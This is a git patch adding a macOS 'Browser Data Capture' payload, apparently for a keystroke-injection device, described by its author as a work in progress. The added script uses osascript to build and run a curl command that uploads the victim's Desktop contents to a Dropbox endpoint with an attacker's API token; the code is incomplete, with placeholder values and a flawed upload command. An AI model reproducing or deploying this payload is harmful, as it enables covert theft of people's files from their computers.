From 028d633b4eee4da2ae2f9d79a7ec1a864e21d291 Mon Sep 17 00:00:00 2001 From: Narsty Date: Sat, 13 May 2023 21:43:43 -0500 Subject: [PATCH] Browser Data Capture is a (work In Progress) Big Shoutout to @https://github.com/I-Am-Jakoby for the inspiration, lines and idea Still needs a lot of work. --- Executions/Browser Data Capture.txt | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 Executions/Browser Data Capture.txt diff --git a/Executions/Browser Data Capture.txt b/Executions/Browser Data Capture.txt new file mode 100644 index 0000000..00900b0 --- /dev/null +++ b/Executions/Browser Data Capture.txt @@ -0,0 +1,18 @@ +REM Author: Narsty +REM Title: Browser Data Capture +REM Version 1.0 MacOs + + + +osascript -e 'tell application "Script Editor" + set desktopPath to POSIX path of (path to desktop folder) + set dropboxAPIPath to "Your API token Here" + set uploadScript to "curl -X POST 'URL of the Dropbox API endpoint' \ + -H 'Authorization: Bearer " & dropboxAPIPath & "' \ + -H 'Dropbox-API-Arg: {\"path\": \"/Desktop/$(basename \\\"" & desktopPath & "\\\"), \\\"mode\\\": \\\"overwrite\\\"}' \ + -H 'Content-Type: application/octet-stream' \ + --data-binary @\"" & desktopPath & "\"" + do shell script uploadScript +end tell' + +